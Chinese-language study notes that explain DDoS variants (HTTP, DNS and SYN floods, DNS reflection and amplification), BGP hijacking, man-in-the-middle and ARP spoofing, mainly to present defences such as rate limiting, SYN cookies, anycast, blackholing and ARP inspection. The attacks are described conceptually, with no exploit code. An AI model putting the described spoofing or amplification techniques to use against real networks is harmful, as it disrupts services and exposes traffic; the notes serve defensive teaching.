* 網路異常緩慢 * 特定網站無法存取 * 網路連線異常斷開 * 長時間嘗試存取服務遭拒絕 * 伺服器容易 lag * 參考資料 : http://blog.udn.com/frankhbc/6893160 ### HTTP Flood * Layer 7 attack * 大量對目標不斷發送 HTTP Request 淹沒目標伺服器,受攻擊主機因不斷處理過量之請求而導致負荷升高、請求飽和,無法提供正常使用者服務 * 難以區分正常/惡意流量 * Two types : * GET request : used to static content like images * POST request : used to access dynamically generated resources. The process of handling the form data and running the necessary database commands is relatively intensive compared to the amount of processing power and bandwidth required to send the POST request. #### 應對 * 限定同樣來源一定時間內的請求數 * mod_evasive : Apache 防 DDoS 的一個模組,利用 Hash 表儲存相應的 HTTP 請求,利用設定規則判斷是否拒絕對方的請求。 ``` <IfModule evasive2_module> DOSHashTableSize 3097 # 記錄和存放黑名單的 hash 表大小 DOSPageCount 2 # 單位時間內同一 IP 請求同一網頁次數 DOSSiteCount 50 # 單位時間內同一 IP 請求網站次數 DOSPageInterval 1 # 設定 DOSPageCount 的時間區段 DOSSiteInterval 1 # 設定 DOSSiteCount 的時間區段 DOSBlockingPeriod 10 # 當發現疑似攻擊後封鎖的時間,使用者會收到 403 (Forbidden) 或 503 (Service Unavailable) DOSEmailNotify you@youremail.com # 疑似攻擊時郵件通知 DOSLogDir "var/log/" </IfModule> ``` * ngx_http_limit_req_module : Nginx 預設啟用的模組,用來限制同一個 IP 在每秒或是每分鐘內的連線次數。 用 `limit_req_zone` 建立出用來儲存 IP 連線次數的共享記憶體空間。之後就可以用 `limit_req` 命令,限制來自同一 IP 連線的請求間隔時間。(10m=10MiB=10*2^20^ bytes) `limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;` * 對請求來源進行挑戰,測試請求來源是否為機器人,才能進行更消耗系統資源的動作,就像是創建帳號時的 captcha test。 #### 參考資料 : * [HTTP Flood Attack](https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/) * [HTTP Flood](https://www.imperva.com/learn/ddos/http-flood/) * [mod_evasive](https://codertw.com/%E4%BC%BA%E6%9C%8D%E5%99%A8/381805/) * [Nginx如何防禦DDoS攻擊?](https://magiclen.org/nginx-defend-ddos/) ### DNS 將域名和 IP 位址相互對映的一個分散式資料庫,能夠使人更方便地存取網際網路 - ![](https://i.imgur.com/O9GX9Zs.png) - ![](https://i.imgur.com/7qv1nGw.png) - TLD : 高等 DNS domain ex : .org .net .edu . > [圖片來源](http://linux.vbird.org/linux_server/0350dns.php) > [圖片來源](https://aws.amazon.com/tw/route53/what-is-dns/) #### DNS 查詢方式 ![](https://i.imgur.com/6UocFjl.png) - 遞迴(Recursive Query) - DNS cache - 為了節省這些反覆查尋的時間, DNS server 會把查到的結果暫存一陣子 - 交談式(Iterative Query) #### DNS flood type of Distributed Denial of Service (DDoS) attack 送出許多 DNS 請求到 DNS server 上,企圖耗盡這些伺服器的網域名稱解析器,以及快取資料庫資源 - DNS water torture - DNS Query Flood - (遞迴式洪水攻擊) - 對 DNS 伺服器送出並不存在 DNS 快取資料的網域名稱解析請求,增加 DNS 伺服器與網路頻寬的負擔 - DNS Reflection Attack (DNS 反射攻擊) - 大部分 DNS 查詢使用 UDP,容易偽造來源 IP - ![](https://i.imgur.com/LlI9zoM.png) > [圖片來源](https://www.bearspace.com.tw/bsitknowhow-infradns/) - DNS Amplification Attack (DNS 放大攻擊) - ![](https://i.imgur.com/hk44dlV.png) > [圖片來源](https://www.cloudflare.com/zh-tw/learning/ddos/dns-amplification-ddos-attack/https://www.cloudflare.com/zh-tw/learning/ddos/dns-amplification-ddos-attack/) - send UDP packets with spoofed IP addresses(real IP address of the victim) to a DNS recursor - Each UDP packets makes a request to a DNS resolver, often passing an argument such as “**ANY**” - After receiving the requests, the DNS resolver, sends a large response to the spoofed IP address - The IP address of the target receives the response :::info DNS 封包格式 ![](https://i.imgur.com/ZvymksH.png) > [圖片來源](https://github.com/Praseetha-KR/web-internals/blob/master/dns.md) - Question Section - 分為 NAME、TYPE、CLASS 三個子欄位 - TYPE : 要查詢的資料記錄類型 - ![](https://i.imgur.com/CLekJJ1.png) > [圖表來源 & 詳細資料](https://littlechocho.pixnet.net/blog/post/186904533) > [維基百科也是蠻清楚的](https://en.wikipedia.org/wiki/Domain_Name_System) ::: #### 應對方式 - DNS 安全設定 - DNS relay - forwards the DNS requests to remote DNS servers and provides the responses to the clients - 限制來源 IP - 遞迴服務只開給內網 - [開放 DNS 解析器](http://openresolver.com)(open DNS resolver) - 限制 IP 一秒可以丟幾個 query(rate limit) - [Anycast DNS](https://www.cloudflare.com/learning/cdn/glossary/anycast-network/) (分流) - 使用 Anycast - Anycast 是啥??? - ![](https://i.imgur.com/nodAlHl.png) - 將一個 ip 分配到多個不同地理位址的主機上 - 分散攻擊流量 - BGP(Border Gateway Protocol) 又是啥??? - ![](https://i.imgur.com/NrJvoa1.png) - BGP always favors the shortest, most specific path to the desired IP address - 運作原理 : Path-Vector Protocol - 透過路徑所經過的 AS 來做選擇,讓網路管理人員有更多空間可以根據安全性與商業性策略的方式來調整路由 - **非常不安全** - 完全信任 - [我幹嘛要信任?](https://audreyt.github.io/trust-zh-TW/) - 自己說到那些網段的 routing - 去中心化自治路由協定 :::info BGP hijacking(BGP劫持) - ![](https://i.imgur.com/rRvPodK.png) - Offer a more specific route by announcing a smaller range of IP addresses - Offer a shorter route to certain blocks of IP addresses - [BGPmon](https://www.bgpmon.io) - bgp 異常監測 - 實際案例 - 前面講的大砲 - [相關新聞](https://technews.tw/2018/10/30/china-telecoms-bgp-hijacking/) > [圖片來源](https://www.cloudflare.com/zh-tw/learning/security/glossary/bgp-hijacking/) ::: - 優點 - 分散流量,不同來源導向不同 server - 方便追查攻擊來源 - 缺點 : 成本較高、部署較複雜 * 參考資料 : * [淺談 anycast](https://blog.csdn.net/enweitech/article/details/79778528?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161944920616780264094199%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=161944920616780264094199&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-79778528.pc_search_result_no_baidu_js&utm_term=ANYCAST) * [How Anycast Works](https://www.imperva.com/blog/how-anycast-works/) * [anycast dns](https://www.cloudflare.com/zh-tw/learning/dns/what-is-anycast-dns/) * [Anycast DNS ](https://zhuanlan.zhihu.com/p/101487254) * 參考資料 : http://www.cc.ntu.edu.tw/chinese/epaper/0028/20140320_2808.html ### SYN Flood * 正常的 TCP 連線 ![](https://i.imgur.com/Repsy0h.png) * SYN Flood ![](https://i.imgur.com/gTzIE0R.png) > 攻擊者傳送多個 SYN 請求並不給予回覆,直到塞爆 Queue ,導致伺服器無法負荷正常連線 * 參考資料 : https://www.cloudflare.com/zh-tw/learning/ddos/syn-flood-ddos-attack/ #### 應對 ##### Recycling the Oldest Half-Open TCP connection * 丟掉最舊的半連線 * 缺點 : 正常半連線也會被刷掉 ##### [SYN cookies](https://zh.wikipedia.org/wiki/SYN_cookie) ![](https://i.imgur.com/vhEz892.png) 不將 syn request 存進 queue,而是將相關訊息做成 cookie 塞進 SYN+ACK 封包 SYN cookies 會將來源 IP, Port, timestamp 等與這次握手相關的訊息進行處理成為回覆 SYN+ACK 封包中的 sequence number 在伺服器收到 client 端 ACK 回覆,再取出 ACK_num - 1 還原 sequence num 進行特定比對,成功即完成三項交握。 * `t` timestamp mod 32 成 5 bit * `m` SYN Queue 中的 MSS (maximum segment size) * `s` IP, port, timestamp相關資訊做 hash 成 24 bit( hash(sip,dip,sport,dport,t ),用於收到 ACK 時驗證。 ![](https://i.imgur.com/bz4xQRk.png) 將 ACK_num - 1 還成原本的 SYN * 確認 time out * s 確認正確性 * 重建 SYN Queue 缺點 : * 需要比較大量的運算 * mss 的編碼只有三位,最多只能有八種 mss 值 * 需要拒絕其他只在 syn & syn_ack 中協商的選項,因為沒有地方保存。 參考資料 : [TCP Splicing](https://fantasymew.pixnet.net/blog/post/23939929) [SYN cookies](https://segmentfault.com/a/1190000019292140) [逼八的共筆](https://hackmd.io/@ncnu-opensource/B17djyQs8) ### 其他應對 * Cloud Scrubbing (商業服務) 在資料中心清除攻擊流量,只將正常的服務請求導到目標伺服器 * Blackholing/sinkhole (導流) : * 一個不存在的 ip 位址 * 一種緩解的策略,針對網路頻寬的 DDoS 攻擊,為了避免此攻擊使鄰近網路壅塞,會將流量丟到黑洞中。 * 主機創建一個指向黑洞的路由,將這個路由打上一個特殊的 BGP blackhole community 後通告給 ISP,ISP 可以將符合限制條件(ex: 某些 IP 流量達到多少),透過 BGP blackhole community 將攻擊流量導到黑洞 * 部署不當,會破壞正常流量來源(丟到黑洞的,就像抗生素會消滅好菌&壞菌。 :::info BGP (Border Gateway Protocol) : 管理封包的路由方式 ::: 參考資料 : [What is DDoS blackhole routing?](https://www.cloudflare.com/learning/ddos/glossary/ddos-blackhole-routing/) [Digital Attack Map](https://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=18699&view=map) : 全球DDoS攻擊實時數據地圖 * 參考資料 : [DDoS Learning Objectives](https://www.cloudflare.com/learning/ddos/what-is-a-ddos-attack/) ## [Man in the middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) - 攻擊者監聽/攔截/修改在網路上傳遞的資訊 ### 應對 * Forensic analysis : 分析&抓取疑似攻擊的流量,確定是否有攻擊以及攻擊來源 * 傳輸加密 : ssl/tls ![](https://i.imgur.com/zkL4Vhp.png) * <font color=blue>Authentication </font>: 使用非對稱式加密演算法進行伺服器數位簽章的認證 * <font color=green>Key Exchange</font>: 交換一把對稱式加密金鑰 Encrypted Data * <font color=red>Transfer </font>: 瀏覽器和伺服器利用第二步的對稱式加密金鑰,對通訊間的資料進行加解密 ### [ARP Spoofing (arp cache poisoning)](https://zh.wikipedia.org/wiki/ARP%E6%AC%BA%E9%A8%99) > 發送假的 ARP 封包竄改 ARP Cache ,讓資料被錯誤送到攻擊者所取代的地方,使得資料無法正確傳輸到目的地。 - [ARP](https://zh.wikipedia.org/wiki/%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE) - address resolution (位址解析) : 將 IP 位址轉換成相對應的 MAC Address ,讓區域網路內主機得以互相傳送資料。 - 不會驗證收到的 ARP 封包 - 儲存相對應的 IP 與 MAC 位址 : ARP Cache ![](https://i.imgur.com/QZWQkl8.png) - ARP Spoofing ![](https://i.imgur.com/ZvwykCh.png) - 用途 - 竊聽 - 竄改後轉送 - 將封包引導至不存在的 MAC 位址,阻斷服務 - 應對 - 使用靜態 ARP 表 - `arp -s <ip> <mac>` - 缺 : 需要事先知道所有的 IP-MAC 的對應關係,不適合用在大型的網路,因為需要經常更新每台電腦的ARP表。 - 在 Switch 上啟用 DAI (Dynamic ARP Inspection) - 在 Switch 上建立一張表格儲存 IP&MAC 的對應 - 收到 ARP 回應訊息時,Switch 可以比對回應訊息內的資訊是否與表格內的記錄一致 - 若不一致,代表有違規的 ARP 訊息傳遞到 Switch,Switch 就可以主動將發生違規的介面停用,避免合法使用者的網路連線遭到非法使用者中斷。 - 此表格的建立可透過 DHCP snooping 的機制建立 :::info [DHCP snooping](https://zh.wikipedia.org/wiki/DHCP_snooping) : 一種 DHCP 的安全特性,封鎖接入網路中的非法的 DHCP 伺服器,即只從管理員指定的 DHCP 伺服器取得 IP 位址。 DHCP 缺乏認證機制,可能從非法的伺服器上取得錯誤的 IP 位址。 監聽經過的合法 DHCP 封包,提取其中的關鍵資訊並生成 DHCP Binding Table 記錄表。 [DHCP(動態主機設定協定)](https://zh.wikipedia.org/wiki/%E5%8A%A8%E6%80%81%E4%B8%BB%E6%9C%BA%E8%AE%BE%E7%BD%AE%E5%8D%8F%E8%AE%AE) : 集中管理和自動分配 IP 網路位址的通信協定 ::: - 已被攻擊 : `arp -d` 清空快取 (先找到攻擊來源 - 監聽、偵測 ARP - arpwatch : 監聽 arp 的紀錄 `sudo apt-get install arpwatch` ![](https://i.imgur.com/xyrj7Gm.png) * new station : 新的 ip&mac 配對 * 參考資料 : * [arpwatch](https://www.mdeditor.tw/pl/2U4L/zh-tw) * [Dynamic ARP Inspection](https://blog.xuite.net/jun.zen/wretch/190606336-Dynamic+ARP+Inspection)